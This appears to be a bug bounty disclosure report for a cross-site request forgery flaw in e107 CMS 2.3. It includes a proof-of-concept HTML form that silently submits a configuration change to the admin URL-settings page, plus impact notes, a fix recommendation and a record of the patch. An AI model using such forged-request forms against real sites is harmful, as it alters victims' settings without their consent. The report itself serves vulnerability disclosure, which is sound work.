Cross-Site Request Forgery (CSRF) in e107inc/e107


Reported on

Sep 13th 2021

✍️ Description

Attacker or malicious user is able to change URL configuration if a logged in user visits attacker website. because lack of CSRF token

🕵️‍♂️ Proof of Concept

1.when you logged in open this POC.html in a browser can check unintentionally your search URL changed form /search.php to /search/

 <script>history.pushState('', '', '/')</script>
   <form action="http://localhost:8181/ecms-full/e107_admin/eurl.php?mode=main&action=config" method="POST">
     <input type="hidden" name="eurl_config[index]" value="core" />
     <input type="hidden" name="eurl_config[news]" value="core" />
     <input type="hidden" name="eurl_config[page]" value="core" />
     <input type="hidden" name="eurl_config[search]" value="core" />
     <input type="hidden" name="eurl_config[system]" value="core" />
     <input type="hidden" name="eurl_config[user]" value="core" />
     <input type="hidden" name="update" value="Update" />
     <input type="submit" value="Submit request" />

💥 Impact

This vulnerability is capable of forcing user to unintentional change social settings

💥 Test

Tested version is 2.3 on Firefox and safari.

💥 Fix

You should set a CSRF token on this requeset.


We have contacted a member of the e107inc/e107 team and are waiting to hear back 2 years ago
Cameron marked this as fixed with commit 2682ae 2 years ago
Cameron has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation